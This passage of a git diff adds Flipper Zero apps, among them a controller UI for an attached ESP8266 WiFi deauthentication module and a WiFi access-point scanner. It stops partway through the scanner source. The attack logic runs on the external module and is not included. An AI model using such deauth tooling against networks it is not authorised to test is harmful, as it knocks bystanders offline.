b/applications/esp8266_deauth/esp8266_deauth.c @@ -0,0 +1,573 @@ +#include +#include +#include +#include +#include +#include +#include +#include +//#include +//#include +//#include +//#include +//#include +#include +#include + +#include "FlipperZeroWiFiDeauthModuleDefines.h" + +#define DEAUTH_APP_DEBUG 0 + +#if DEAUTH_APP_DEBUG +#define APP_NAME_TAG "WiFi_Scanner" +#define DEAUTH_APP_LOG_I(format, ...) FURI_LOG_I(APP_NAME_TAG, format, ##__VA_ARGS__) +#define DEAUTH_APP_LOG_D(format, ...) FURI_LOG_D(APP_NAME_TAG, format, ##__VA_ARGS__) +#define DEAUTH_APP_LOG_E(format, ...) FURI_LOG_E(APP_NAME_TAG, format, ##__VA_ARGS__) +#else +#define DEAUTH_APP_LOG_I(format, ...) +#define DEAUTH_APP_LOG_D(format, ...) +#define DEAUTH_APP_LOG_E(format, ...) +#endif // WIFI_APP_DEBUG + +#define DISABLE_CONSOLE !DEAUTH_APP_DEBUG +#define ENABLE_MODULE_POWER 1 +#define ENABLE_MODULE_DETECTION 1 + +typedef enum EEventType // app internally defined event types +{ + EventTypeKey // flipper input.h type +} EEventType; + +typedef struct SPluginEvent +{ + EEventType m_type; + InputEvent m_input; +} SPluginEvent; + +typedef enum EAppContext +{ + Undefined, + WaitingForModule, + Initializing, + ModuleActive, +} EAppContext; + +typedef enum EWorkerEventFlags +{ + WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event + WorkerEventStop = (1 << 1), + WorkerEventRx = (1 << 2), +} EWorkerEventFlags; + +typedef struct SGpioButtons +{ + GpioPin const* pinButtonUp; + GpioPin const* pinButtonDown; + GpioPin const* pinButtonOK; + GpioPin const* pinButtonBack; +} SGpioButtons; + +typedef struct SWiFiDeauthApp +{ + Gui* m_gui; + FuriThread* m_worker_thread; + //NotificationApp* m_notification; + StreamBufferHandle_t m_rx_stream; + SGpioButtons m_GpioButtons; + + bool m_wifiDeauthModuleInitialized; + bool m_wifiDeauthModuleAttached; + + EAppContext m_context; + + uint8_t m_backBuffer[128 * 8 * 8]; + //uint8_t m_renderBuffer[128 * 8 * 8]; + + uint8_t* m_backBufferPtr; + //uint8_t* m_m_renderBufferPtr; + + //uint8_t* m_originalBuffer; + //uint8_t** m_originalBufferLocation; + size_t m_canvasSize; + + bool m_needUpdateGUI; +} SWiFiDeauthApp; + +/////// INIT STATE /////// +static void esp8266_deauth_app_init(SWiFiDeauthApp* const app) +{ + app->m_context = Undefined; + + app->m_canvasSize = 128 * 8 * 8; + memset(app->m_backBuffer, DEAUTH_APP_DEBUG ? 0xFF : 0x00, app->m_canvasSize); + //memset(app->m_renderBuffer, DEAUTH_APP_DEBUG ? 0xFF : 0x00, app->m_canvasSize); + + //app->m_originalBuffer = NULL; + //app->m_originalBufferLocation = NULL; + + //app->m_m_renderBufferPtr = app->m_renderBuffer; + app->m_backBufferPtr = app->m_backBuffer; + + app->m_GpioButtons.pinButtonUp = &gpio_ext_pc3; + app->m_GpioButtons.pinButtonDown = &gpio_ext_pb2; + app->m_GpioButtons.pinButtonOK = &gpio_ext_pb3; + app->m_GpioButtons.pinButtonBack = &gpio_ext_pa4; + + app->m_needUpdateGUI = false; + +#if ENABLE_MODULE_POWER + app->m_wifiDeauthModuleInitialized = false; +#else + app->m_wifiDeauthModuleInitialized = true; +#endif // ENABLE_MODULE_POWER + +#if ENABLE_MODULE_DETECTION + app->m_wifiDeauthModuleAttached = false; +#else + app->m_wifiDeauthModuleAttached = true; +#endif +} + +static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ctx) +{ + SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)ctx, 25); + if (app == NULL) + { + return; + } + + //if(app->m_needUpdateGUI) + //{ + // app->m_needUpdateGUI = false; + + // //app->m_canvasSize = canvas_get_buffer_size(canvas); + // //app->m_originalBuffer = canvas_get_buffer(canvas); + // //app->m_originalBufferLocation = &u8g2_GetBufferPtr(&canvas->fb); + // //u8g2_GetBufferPtr(&canvas->fb) = app->m_m_renderBufferPtr; + //} + + //uint8_t* exchangeBuffers = app->m_m_renderBufferPtr; + //app->m_m_renderBufferPtr = app->m_backBufferPtr; + //app->m_backBufferPtr = exchangeBuffers; + + //if(app->m_needUpdateGUI) + //{ + // //memcpy(app->m_renderBuffer, app->m_backBuffer, app->m_canvasSize); + // app->m_needUpdateGUI = false; + //} + + switch (app->m_context) + { + case Undefined: + { + canvas_clear(canvas); + canvas_set_font(canvas, FontPrimary); + + const char* strInitializing = "Something wrong"; + canvas_draw_str(canvas, (u8g2_GetDisplayWidth(&canvas->fb) / 2) - (canvas_string_width(canvas, strInitializing) / 2), (u8g2_GetDisplayHeight(&canvas->fb) / 2)/* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, strInitializing); + } + break; + case WaitingForModule: +#if ENABLE_MODULE_DETECTION + furi_assert(!app->m_wifiDeauthModuleAttached); + if (!app->m_wifiDeauthModuleAttached) + { + canvas_clear(canvas); + canvas_set_font(canvas, FontSecondary); + + const char* strInitializing = "Attach WiFi scanner module"; + canvas_draw_str(canvas, (u8g2_GetDisplayWidth(&canvas->fb) / 2) - (canvas_string_width(canvas, strInitializing) / 2), (u8g2_GetDisplayHeight(&canvas->fb) / 2)/* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, strInitializing); + } +#endif + break; + case Initializing: +#if ENABLE_MODULE_POWER + { + furi_assert(!app->m_wifiDeauthModuleInitialized); + if (!app->m_wifiDeauthModuleInitialized) + { + canvas_set_font(canvas, FontPrimary); + + const char* strInitializing = "Initializing..."; + canvas_draw_str(canvas, (u8g2_GetDisplayWidth(&canvas->fb) / 2) - (canvas_string_width(canvas, strInitializing) / 2), (u8g2_GetDisplayHeight(&canvas->fb) / 2) - (u8g2_GetMaxCharHeight(&canvas->fb) / 2), strInitializing); + } + } +#endif // ENABLE_MODULE_POWER + break; + case ModuleActive: + { + uint8_t* buffer = canvas_get_buffer(canvas); + app->m_canvasSize = canvas_get_buffer_size(canvas); + memcpy(buffer, app->m_backBuffer, app->m_canvasSize); + } + break; + default: + break; + } + + release_mutex((ValueMutex*)ctx, app); +} + +static void esp8266_deauth_module_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + SPluginEvent event = {.m_type = EventTypeKey, .m_input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +static void uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { + furi_assert(context); + BaseType_t xHigherPriorityTaskWoken = pdFALSE; + + SWiFiDeauthApp* app = context; + + DEAUTH_APP_LOG_I("uart_echo_on_irq_cb"); + + if(ev == UartIrqEventRXNE) { + DEAUTH_APP_LOG_I("ev == UartIrqEventRXNE"); + xStreamBufferSendFromISR(app->m_rx_stream, &data, 1, &xHigherPriorityTaskWoken); + furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventRx); + portYIELD_FROM_ISR(xHigherPriorityTaskWoken); + } + + +} + +static int32_t uart_worker(void* context) { + furi_assert(context); + DEAUTH_APP_LOG_I("[UART] Worker thread init"); + + SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)context, 25); + if (app == NULL) + { + return 1; + } + + StreamBufferHandle_t rx_stream = app->m_rx_stream; + + release_mutex((ValueMutex*)context, app); + +#if ENABLE_MODULE_POWER + bool initialized = false; + + string_t receivedString; + string_init(receivedString); +#endif // ENABLE_MODULE_POWER + + while(true) + { + uint32_t events = furi_thread_flags_wait(WorkerEventStop | WorkerEventRx, FuriFlagWaitAny, FuriWaitForever); + furi_check((events & FuriFlagError) == 0); + + if(events & WorkerEventStop) break; + if(events & WorkerEventRx) + { + DEAUTH_APP_LOG_I("[UART] Received data"); + SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)context, 25); + if (app == NULL) + { + return 1; + } + + size_t dataReceivedLength = 0; + int index = 0; + do + { + const uint8_t dataBufferSize = 64; + uint8_t dataBuffer[dataBufferSize]; + dataReceivedLength = xStreamBufferReceive(rx_stream, dataBuffer, dataBufferSize, 25); + if (dataReceivedLength > 0) + { +#if ENABLE_MODULE_POWER + if (!initialized) + { + if(!(dataReceivedLength > strlen(MODULE_CONTEXT_INITIALIZATION))) + { + DEAUTH_APP_LOG_I("[UART] Found possible init candidate"); + for (uint16_t i = 0; i < dataReceivedLength; i++) + { + string_push_back(receivedString, dataBuffer[i]); + } + } + } + else +#endif // ENABLE_MODULE_POWER + { + DEAUTH_APP_LOG_I("[UART] Data copied to backbuffer"); + memcpy(app->m_backBuffer + index, dataBuffer, dataReceivedLength); + index += dataReceivedLength; + app->m_needUpdateGUI = true; + } + } + + } while(dataReceivedLength > 0); + +#if ENABLE_MODULE_POWER + if (!app->m_wifiDeauthModuleInitialized) + { + if (string_cmp_str(receivedString, MODULE_CONTEXT_INITIALIZATION) == 0) + { + DEAUTH_APP_LOG_I("[UART] Initialized"); + initialized = true; + app->m_wifiDeauthModuleInitialized = true; + app->m_context = ModuleActive; + string_clear(receivedString); + } + else + { + DEAUTH_APP_LOG_I("[UART] Not an initialization command"); + string_reset(receivedString); + } + } +#endif // ENABLE_MODULE_POWER + + release_mutex((ValueMutex*)context, app); + } + } + + return 0; +} + +int32_t esp8266_deauth_app(void* p) +{ + UNUSED(p); + + DEAUTH_APP_LOG_I("Init"); + + // FuriTimer* timer = furi_timer_alloc(blink_test_update, FuriTimerTypePeriodic, event_queue); + // furi_timer_start(timer, furi_kernel_get_tick_frequency()); + + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SPluginEvent)); + + SWiFiDeauthApp* app = malloc(sizeof(SWiFiDeauthApp)); + + esp8266_deauth_app_init(app); + + furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonUp, GpioModeOutputPushPull); + furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonDown, GpioModeOutputPushPull); + furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonOK, GpioModeOutputPushPull); + furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonBack, GpioModeOutputPushPull); + + furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, false); // GPIO15 - Boot fails if pulled HIGH + +#if ENABLE_MODULE_DETECTION + furi_hal_gpio_init(&gpio_ext_pc0, GpioModeInput, GpioPullUp, GpioSpeedLow); // Connect to the Flipper's ground just to be sure + //furi_hal_gpio_add_int_callback(pinD0, input_isr_d0, this); + app->m_context = WaitingForModule; +#else +#if ENABLE_MODULE_POWER + app->m_context = Initializing; + furi_hal_power_enable_otg(); +#else + app->m_context = ModuleActive; +#endif +#endif // ENABLE_MODULE_DETECTION + + ValueMutex app_data_mutex; + if (!init_mutex(&app_data_mutex, app, sizeof(SWiFiDeauthApp))) { + DEAUTH_APP_LOG_E("cannot create mutex\r\n"); + free(app); + return 255; + } + + DEAUTH_APP_LOG_I("Mutex created"); + + app->m_rx_stream = xStreamBufferCreate(1 * 1024, 1); + + //app->m_notification = furi_record_open("notification"); + + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, esp8266_deauth_module_render_callback, &app_data_mutex); + view_port_input_callback_set(view_port, esp8266_deauth_module_input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + //notification_message(app->notification, &sequence_set_only_blue_255); + + // Enable uart listener +#if DISABLE_CONSOLE + furi_hal_console_disable(); +#endif + furi_hal_uart_set_br(FuriHalUartIdUSART1, FLIPPERZERO_SERIAL_BAUD); + furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_on_irq_cb, app); + DEAUTH_APP_LOG_I("UART Listener created"); + + app->m_worker_thread = furi_thread_alloc(); + furi_thread_set_name(app->m_worker_thread, "WiFiDeauthModuleUARTWorker"); + furi_thread_set_stack_size(app->m_worker_thread, 1 * 1024); + furi_thread_set_context(app->m_worker_thread, &app_data_mutex); + furi_thread_set_callback(app->m_worker_thread, uart_worker); + furi_thread_start(app->m_worker_thread); + DEAUTH_APP_LOG_I("UART thread allocated"); + + SPluginEvent event; + for(bool processing = true; processing;) + { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + SWiFiDeauthApp* app = (SWiFiDeauthApp*)acquire_mutex_block(&app_data_mutex); + +#if ENABLE_MODULE_DETECTION + if(!app->m_wifiDeauthModuleAttached) + { + if(furi_hal_gpio_read(&gpio_ext_pc0) == false) + { + DEAUTH_APP_LOG_I("Module Attached"); + app->m_wifiDeauthModuleAttached = true; +#if ENABLE_MODULE_POWER + app->m_context = Initializing; + furi_hal_power_enable_otg(); +#else + app->m_context = ModuleActive; +#endif + } + } +#endif // ENABLE_MODULE_DETECTION + + if(event_status == FuriStatusOk) + { + if(event.m_type == EventTypeKey) + { + if (app->m_wifiDeauthModuleInitialized) + { + if (app->m_context == ModuleActive) + { + switch (event.m_input.key) + { + case InputKeyUp: + if (event.m_input.type == InputTypePress) + { + DEAUTH_APP_LOG_I("Up Press"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, false); + } + else if (event.m_input.type == InputTypeRelease) + { + DEAUTH_APP_LOG_I("Up Release"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true); + } + break; + case InputKeyDown: + if (event.m_input.type == InputTypePress) + { + DEAUTH_APP_LOG_I("Down Press"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, false); + } + else if (event.m_input.type == InputTypeRelease) + { + DEAUTH_APP_LOG_I("Down Release"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true); + } + break; + case InputKeyOk: + if (event.m_input.type == InputTypePress) + { + DEAUTH_APP_LOG_I("OK Press"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, false); + } + else if (event.m_input.type == InputTypeRelease) + { + DEAUTH_APP_LOG_I("OK Release"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true); + } + break; + case InputKeyBack: + if (event.m_input.type == InputTypePress) + { + DEAUTH_APP_LOG_I("Back Press"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, false); + } + else if (event.m_input.type == InputTypeRelease) + { + DEAUTH_APP_LOG_I("Back Release"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, true); + } + else if (event.m_input.type == InputTypeLong) + { + DEAUTH_APP_LOG_I("Back Long"); + processing = false; + } + break; + default: + break; + } + } + } + else + { + if(event.m_input.key == InputKeyBack) + { + if(event.m_input.type == InputTypeShort || event.m_input.type == InputTypeLong) + { + processing = false; + } + } + } + } + } + else + { + DEAUTH_APP_LOG_D("osMessageQueue: event timeout"); + } + +#if ENABLE_MODULE_DETECTION + if(app->m_wifiDeauthModuleAttached && furi_hal_gpio_read(&gpio_ext_pc0) == true) + { + DEAUTH_APP_LOG_D("Module Disconnected - Exit"); + processing = false; + app->m_wifiDeauthModuleAttached = false; + app->m_wifiDeauthModuleInitialized = false; + } +#endif + + view_port_update(view_port); + release_mutex(&app_data_mutex, app); + } + + DEAUTH_APP_LOG_I("Start exit app"); + + furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventStop); + furi_thread_join(app->m_worker_thread); + furi_thread_free(app->m_worker_thread); + + DEAUTH_APP_LOG_I("Thread Deleted"); + +#if DISABLE_CONSOLE + furi_hal_console_enable(); +#endif + + //*app->m_originalBufferLocation = app->m_originalBuffer; + + view_port_enabled_set(view_port, false); + + gui_remove_view_port(gui, view_port); + + // Close gui record + furi_record_close("gui"); + furi_record_close("notification"); + app->m_gui = NULL; + + view_port_free(view_port); + + furi_message_queue_free(event_queue); + + vStreamBufferDelete(app->m_rx_stream); + + delete_mutex(&app_data_mutex); + + + + // Free rest + free(app); + + DEAUTH_APP_LOG_I("App freed"); + +#if ENABLE_MODULE_POWER + furi_hal_power_disable_otg(); +#endif + + return 0; +} diff --git a/applications/meta/application.fam b/applications/meta/application.fam index 14f106287..9409a33b1 100644 --- a/applications/meta/application.fam +++ b/applications/meta/application.fam @@ -74,5 +74,7 @@ App( "nrf_sniff", "sentry_safe", "wifi_marauder", + "esp8266_deauth", + "wifi_scanner", ], ) \ No newline at end of file diff --git a/applications/wifi_scanner/FlipperZeroWiFiModuleDefines.h b/applications/wifi_scanner/FlipperZeroWiFiModuleDefines.h new file mode 100644 index 000000000..7b28ebd64 --- /dev/null +++ b/applications/wifi_scanner/FlipperZeroWiFiModuleDefines.h @@ -0,0 +1,17 @@ +#define WIFI_MODULE_INIT_VERSION "WFSM_0.1" + +#define MODULE_CONTEXT_INITIALIZATION WIFI_MODULE_INIT_VERSION +#define MODULE_CONTEXT_MONITOR "monitor" +#define MODULE_CONTEXT_SCAN "scan" +#define MODULE_CONTEXT_SCAN_ANIMATION "scan_anim" +#define MODULE_CONTEXT_MONITOR_ANIMATION "monitor_anim" + +#define MODULE_CONTROL_COMMAND_NEXT 'n' +#define MODULE_CONTROL_COMMAND_PREVIOUS 'p' +#define MODULE_CONTROL_COMMAND_SCAN 's' +#define MODULE_CONTROL_COMMAND_MONITOR 'm' +#define MODULE_CONTROL_COMMAND_RESTART 'r' + +#define FLIPPERZERO_SERIAL_BAUD 115200 + +#define NA 0 diff --git a/applications/wifi_scanner/application.fam b/applications/wifi_scanner/application.fam new file mode 100644 index 000000000..3d42a0d4f --- /dev/null +++ b/applications/wifi_scanner/application.fam @@ -0,0 +1,10 @@ +App( + appid="wifi_scanner", + name="[WiFi] Scanner", + apptype=FlipperAppType.PLUGIN, + entry_point="wifi_scanner_app", + cdefines=["APP_WIFI_SCANNER"], + requires=["gui"], + stack_size=2 * 1024, + order=110, +) diff --git a/applications/wifi_scanner/wifi_scanner.c b/applications/wifi_scanner/wifi_scanner.c new file mode 100644 index 000000000..e8f964819 --- /dev/null +++ b/applications/wifi_scanner/wifi_scanner.c @@ -0,0 +1,848 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "FlipperZeroWiFiModuleDefines.h" + +#define WIFI_APP_DEBUG 0 + +#if WIFI_APP_DEBUG +#define APP_NAME_TAG "WiFi_Scanner" +#define WIFI_APP_LOG_I(format, ...) FURI_LOG_I(APP_NAME_TAG, format, ##__VA_ARGS__) +#define WIFI_APP_LOG_D(format, ...) FURI_LOG_D(APP_NAME_TAG, format, ##__VA_ARGS__) +#define WIFI_APP_LOG_E(format, ...) FURI_LOG_E(APP_NAME_TAG, format, ##__VA_ARGS__) +#else +#define WIFI_APP_LOG_I(format, ...) +#define WIFI_APP_LOG_D(format, ...) +#define WIFI_APP_LOG_E(format, ...) +#endif // WIFI_APP_DEBUG + +#define DISABLE_CONSOLE !WIFI_APP_DEBUG + +#define ENABLE_MODULE_POWER 1 +#define ENABLE_MODULE_DETECTION 1 + +#define ANIMATION_TIME 350 + +typedef enum EChunkArrayData { + EChunkArrayData_Context = 0, + EChunkArrayData_SSID, + EChunkArrayData_EncryptionType, + EChunkArrayData_RSSI, + EChunkArrayData_BSSID, + EChunkArrayData_Channel, + EChunkArrayData_IsHidden, + EChunkArrayData_CurrentAPIndex, + EChunkArrayData_TotalAps, + EChunkArrayData_ENUM_MAX +} EChunkArrayData; + +typedef enum EEventType // app internally defined event types +{ EventTypeKey // flipper input.h type +} EEventType; + +typedef struct SPluginEvent { + EEventType m_type; + InputEvent m_input; +} SPluginEvent; + +typedef struct EAccessPointDesc { + string_t m_accessPointName; + int16_t m_rssi; + string_t m_secType; + string_t m_bssid; + unsigned short m_channel; + bool m_isHidden; +} EAccessPointDesc; + +typedef enum EAppContext { + Undefined, + WaitingForModule, + Initializing, + ScanMode, + MonitorMode, + ScanAnimation, + MonitorAnimation +} EAppContext; + +typedef enum EWorkerEventFlags { + WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event + WorkerEventStop = (1 << 1), + WorkerEventRx = (1 << 2), +} EWorkerEventFlags; + +typedef struct SWiFiScannerApp { + Gui* m_gui; + FuriThread* m_worker_thread; + NotificationApp* m_notification; + StreamBufferHandle_t m_rx_stream; + + bool m_wifiModuleInitialized; + bool m_wifiModuleAttached; + + EAppContext m_context; + + EAccessPointDesc m_currentAccesspointDescription; + + unsigned short m_totalAccessPoints; + unsigned short m_currentIndexAccessPoint; + + uint32_t m_prevAnimationTime; + uint32_t m_animationTime; + uint8_t m_animtaionCounter; +} SWiFiScannerApp; + +/////// INIT STATE /////// +static void wifi_scanner_app_init(SWiFiScannerApp* const app) { + app->m_context = Undefined; + + app->m_totalAccessPoints = 0; + app->m_currentIndexAccessPoint = 0; + + string_init(app->m_currentAccesspointDescription.m_accessPointName); + string_set_str(app->m_currentAccesspointDescription.m_accessPointName, "N/A\n"); + app->m_currentAccesspointDescription.m_channel = 0; + string_init(app->m_currentAccesspointDescription.m_bssid); + string_set_str(app->m_currentAccesspointDescription.m_bssid, "N/A\n"); + string_init(app->m_currentAccesspointDescription.m_secType); + string_set_str(app->m_currentAccesspointDescription.m_secType, "N/A\n"); + app->m_currentAccesspointDescription.m_rssi = 0; + app->m_currentAccesspointDescription.m_isHidden = false; + + app->m_prevAnimationTime = 0; + app->m_animationTime = ANIMATION_TIME; + app->m_animtaionCounter = 0; + + app->m_wifiModuleInitialized = false; + +#if ENABLE_MODULE_DETECTION + app->m_wifiModuleAttached = false; +#else + app->m_wifiModuleAttached = true; +#endif +} + +int16_t dBmtoPercentage(int16_t dBm) { + const int16_t RSSI_MAX = -50; // define maximum strength of signal in dBm + const int16_t RSSI_MIN = -100; // define minimum strength of signal in dBm + + int16_t quality; + if(dBm <= RSSI_MIN) { + quality = 0; + } else if(dBm >= RSSI_MAX) { + quality = 100; + } else { + quality = 2 * (dBm + 100); + } + + return quality; +} + +void DrawSignalStrengthBar(Canvas* canvas, int rssi, int x, int y, int width, int height) { + int16_t percents = dBmtoPercentage(rssi); + + u8g2_DrawHLine(&canvas->fb, x, y, width); + u8g2_DrawHLine(&canvas->fb, x, y + height, width); + + if(rssi != NA && height > 0) { + uint8_t barHeight = floor((height / 100.f) * percents); + canvas_draw_box(canvas, x, y + height - barHeight, width, barHeight); + } +} + +static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { + SWiFiScannerApp* app = acquire_mutex((ValueMutex*)ctx, 25); + if(app == NULL) { + return; + } + + canvas_clear(canvas); + + { + switch(app->m_context) { + case Undefined: { + canvas_set_font(canvas, FontPrimary); + + const char* strError = "Something wrong"; + canvas_draw_str( + canvas, + (u8g2_GetDisplayWidth(&canvas->fb) / 2) - + (canvas_string_width(canvas, strError) / 2), + (u8g2_GetDisplayHeight(&canvas->fb) / + 2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, + strError); + } break; + case WaitingForModule: +#if ENABLE_MODULE_DETECTION + furi_assert(!app->m_wifiModuleAttached); + if(!app->m_wifiModuleAttached) { + canvas_set_font(canvas, FontSecondary); + + const char* strConnectModule = "Attach WiFi scanner module"; + canvas_draw_str( + canvas, + (u8g2_GetDisplayWidth(&canvas->fb) / 2) - + (canvas_string_width(canvas, strConnectModule) / 2), + (u8g2_GetDisplayHeight(&canvas->fb) / + 2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, + strConnectModule); + } +#endif + break; + case Initializing: { + furi_assert(!app->m_wifiModuleInitialized); + if(!app->m_wifiModuleInitialized) { + canvas_set_font(canvas, FontPrimary); + + const char* strInitializing = "Initializing..."; + canvas_draw_str( + canvas, + (u8g2_GetDisplayWidth(&canvas->fb) / 2) - + (canvas_string_width(canvas, strInitializing) / 2), + (u8g2_GetDisplayHeight(&canvas->fb) / 2) - + (u8g2_GetMaxCharHeight(&canvas->fb) / 2), + strInitializing); + } + } break; + case ScanMode: { + uint8_t offsetY = 0; + uint8_t offsetX = 0; + canvas_draw_frame( + canvas, + 0, + 0, + u8g2_GetDisplayWidth(&canvas->fb), + u8g2_GetDisplayHeight(&canvas->fb)); + + //canvas_set_font(canvas, FontPrimary); + u8g2_SetFont(&canvas->fb, u8g2_font_7x13B_tr); + uint8_t fontHeight = u8g2_GetMaxCharHeight(&canvas->fb); + + offsetX += 5; + offsetY += fontHeight; + canvas_draw_str( + canvas, + offsetX, + offsetY, + app->m_currentAccesspointDescription.m_isHidden ? + "(Hidden SSID)" : + string_get_cstr(app->m_currentAccesspointDescription.m_accessPointName)); + + offsetY += fontHeight; + + canvas_draw_str( + canvas, + offsetX, + offsetY, + string_get_cstr(app->m_currentAccesspointDescription.m_bssid)); + + canvas_set_font(canvas, FontSecondary); + //u8g2_SetFont(&canvas->fb, u8g2_font_tinytim_tf); + fontHeight = u8g2_GetMaxCharHeight(&canvas->fb); + + offsetY += fontHeight + 1; + + char string[15]; + sprintf(string, "RSSI: %d", app->m_currentAccesspointDescription.m_rssi); + canvas_draw_str(canvas, offsetX, offsetY, string); + + offsetY += fontHeight + 1; + + sprintf(string, "CHNL: %d", app->m_currentAccesspointDescription.m_channel); + canvas_draw_str(canvas, offsetX, offsetY, string); + + offsetY += fontHeight + 1; + + sprintf( + string, + "ENCR: %s", + string_get_cstr(app->m_currentAccesspointDescription.m_secType)); + canvas_draw_str(canvas, offsetX, offsetY, string); + + offsetY += fontHeight; + offsetY -= fontHeight; + + u8g2_SetFont(&canvas->fb, u8g2_font_courB08_tn); + sprintf(string, "%d/%d", app->m_currentIndexAccessPoint, app->m_totalAccessPoints); + offsetX = u8g2_GetDisplayWidth(&canvas->fb) - canvas_string_width(canvas, string) - 5; + canvas_draw_str(canvas, offsetX, offsetY, string); + + canvas_draw_frame( + canvas, + offsetX - 6, + offsetY - u8g2_GetMaxCharHeight(&canvas->fb) - 3, + u8g2_GetDisplayWidth(&canvas->fb), + u8g2_GetDisplayHeight(&canvas->fb)); + + u8g2_SetFont(&canvas->fb, u8g2_font_open_iconic_arrow_2x_t); + if(app->m_currentIndexAccessPoint != app->m_totalAccessPoints) { + //canvas_draw_triangle(canvas, offsetX - 5 - 20, offsetY + 5, 4, 4, CanvasDirectionBottomToTop); + canvas_draw_str(canvas, offsetX - 0 - 35, offsetY + 5, "\x4C"); + } + + if(app->m_currentIndexAccessPoint != 1) { + //canvas_draw_triangle(canvas, offsetX - 6 - 35, offsetY + 5, 4, 4, CanvasDirectionTopToBottom); + canvas_draw_str(canvas, offsetX - 4 - 20, offsetY + 5, "\x4F"); + } + } break; + case MonitorMode: { + uint8_t offsetY = 0; + uint8_t offsetX = 0; + + canvas_draw_frame( + canvas, + 0, + 0, + u8g2_GetDisplayWidth(&canvas->fb), + u8g2_GetDisplayHeight(&canvas->fb)); + + //canvas_set_font(canvas, FontBigNumbers); + u8g2_SetFont(&canvas->fb, u8g2_font_inb27_mr); + uint8_t fontHeight = u8g2_GetMaxCharHeight(&canvas->fb); + uint8_t fontWidth = u8g2_GetMaxCharWidth(&canvas->fb); + + if(app->m_currentAccesspointDescription.m_rssi == NA) { + offsetX += floor(u8g2_GetDisplayWidth(&canvas->fb) / 2) - fontWidth - 10; + offsetY += fontHeight - 5; + + canvas_draw_str(canvas, offsetX, offsetY, "N/A"); + } else { + offsetX += floor(u8g2_GetDisplayWidth(&canvas->fb) / 2) - 2 * fontWidth; + offsetY += fontHeight - 5; + + char rssi[8]; + sprintf(rssi, "%d", app->m_currentAccesspointDescription.m_rssi); + canvas_draw_str(canvas, offsetX, offsetY, rssi); + } + + //canvas_set_font(canvas, FontPrimary); + u8g2_SetFont(&canvas->fb, u8g2_font_7x13B_tr); + fontHeight = u8g2_GetMaxCharHeight(&canvas->fb); + fontWidth = u8g2_GetMaxCharWidth(&canvas->fb); + + offsetX = 5; + offsetY = u8g2_GetDisplayHeight(&canvas->fb) - 7 - fontHeight; + canvas_draw_str( + canvas, + offsetX, + offsetY, + string_get_cstr(app->m_currentAccesspointDescription.m_accessPointName)); + + offsetY += fontHeight + 2; + + canvas_draw_str( + canvas, + offsetX, + offsetY, + string_get_cstr(app->m_currentAccesspointDescription.m_bssid)); + + DrawSignalStrengthBar( + canvas, app->m_currentAccesspointDescription.m_rssi, 5, 5, 12, 25); + DrawSignalStrengthBar( + canvas, + app->m_currentAccesspointDescription.m_rssi, + u8g2_GetDisplayWidth(&canvas->fb) - 5 - 12, + 5, + 12, + 25); + } break; + case ScanAnimation: { + uint32_t currentTime = furi_get_tick(); + if(currentTime - app->m_prevAnimationTime > app->m_animationTime) { + app->m_prevAnimationTime = currentTime; + app->m_animtaionCounter += 1; + app->m_animtaionCounter = app->m_animtaionCounter % 3; + } + + uint8_t offsetX = 10; + uint8_t mutliplier = 2; + + for(uint8_t i = 0; i < 3; ++i) { + canvas_draw_disc( + canvas, + offsetX + 30 + 25 * i, + u8g2_GetDisplayHeight(&canvas->fb) / 2 - 7, + 5 * (app->m_animtaionCounter == i ? mutliplier : 1)); + } + + u8g2_SetFont(&canvas->fb, u8g2_font_7x13B_tr); + //canvas_set_font(canvas, FontPrimary); + const char* message = "Scanning"; + canvas_draw_str( + canvas, + u8g2_GetDisplayWidth(&canvas->fb) / 2 - canvas_string_width(canvas, message) / 2, + 55, + message); + } break; + case MonitorAnimation: { + uint32_t currentTime = furi_get_tick(); + if(currentTime - app->m_prevAnimationTime > app->m_animationTime) { + app->m_prevAnimationTime = currentTime; + app->m_animtaionCounter += 1; + app->m_animtaionCounter = app->m_animtaionCounter % 2; + } + + uint8_t offsetX = 10; + uint8_t mutliplier = 2; + + canvas_draw_disc( + canvas, + offsetX + 30, + u8g2_GetDisplayHeight(&canvas->fb) / 2 - 7, + 5 * (app->m_animtaionCounter == 0 ? mutliplier : 1)); + canvas_draw_disc( + canvas, + offsetX + 55, + 